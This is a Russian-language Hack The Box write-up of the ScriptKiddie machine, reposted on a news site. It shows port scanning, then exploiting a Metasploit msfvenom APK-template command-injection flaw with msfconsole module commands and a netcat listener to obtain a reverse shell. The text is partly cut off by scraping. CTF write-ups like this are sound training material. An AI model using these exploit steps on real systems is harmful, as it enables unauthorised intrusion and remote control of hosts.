Категория > Новости > HTB ScriptKiddie. Атакуем Metasploit при помощи Metasploit, чтобы захватить хост - «Новости»
HTB ScriptKiddie. Атакуем Metasploit при помощи Metasploit, чтобы захватить хост - «Новости»16-06-2021, 00:02. Автор: Bradberry |
Hack The Box.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовIP машины — 10.10.10.226, добавляем его в
10.10.10.226 scriptkiddie.htb
И сканируем порты моим традиционным скриптом: ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Результат работы скриптаОткрытых порта два: 22 (служба SSH) и 5000 (Werkzeug). Паролей у нас нет, поэтому на SSH пока что делать нечего. Будем «пробивать» порт 5000, где нас встречает страница с обещающим заголовком k1d'5 h4ck3r t00l5. Уже интересно! Страница k1d'5 h4ck3r t00l5 Страница поделена на области, в каждой из которых есть поля для ввода. Первое поле принимает IP-адрес для сканирования 100 портов с помощью Nmap, вторая область служит для генерирования нагрузки Meterpreter с помощью MSFvenom и требует указать операционную систему атакуемого хоста и IP хоста для отстука, при этом есть возможность использовать файл шаблона. В последней области просто выполняется поиск эксплоитов с помощью утилиты searchsploit. Пример нагрузки, сгенерированной с помощью веб‑сервиса ЗакреплениеЗдесь уже стоит подумать о том, как получить RCE. Есть два пути:
Так как тестирование второго варианта займет меньше времени, сразу начнем с него. Загрузка файлов .php и тому подобных результатов не дала, поэтому перейдем к загрузке более легитимных файлов — .apk. На сервере используется Metasploit Framework, и в нем, что неудивительно, тоже существуют уязвимости. Куда забавнее тот факт, что для MSF есть модули, которые сами эти уязвимости и эксплуатируют. Для многих типов нагрузок, которые предоставляет
Уязвимость заключается в использовании утилиты
keytool -genkey -v -keystore #{keystore} -alias #{keyalias} -storepass #{storepass} -keypass #{keypass} -keyalg RSA -keysize 2048 -startdate '#{orig_cert_startdate}' -validity #{orig_cert_validity} -dname '#{orig_cert_dname}'
При этом значение Metasploit Framework позволяет нам создать шаблон APK с уже встроенным бэкдором. Для этого используем модуль
msfconsole
use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
set LHOST [ip]
set LPORT [port]
run
Генерирование шаблона файла APK с бэкдоромТак как мы будем выполнять бэкконнект, то сначала необходимо создать листенер, который будет принимать соединение. Я буду использовать rlwrap и netcat.
apt install rlwrap
rlwrap nc -lvp [port]
А теперь загружаем сгенерированный файл и получаем бэкконнект. Загрузка сгенерированного файла на серверФлаг пользователя Перейти обратно к новости |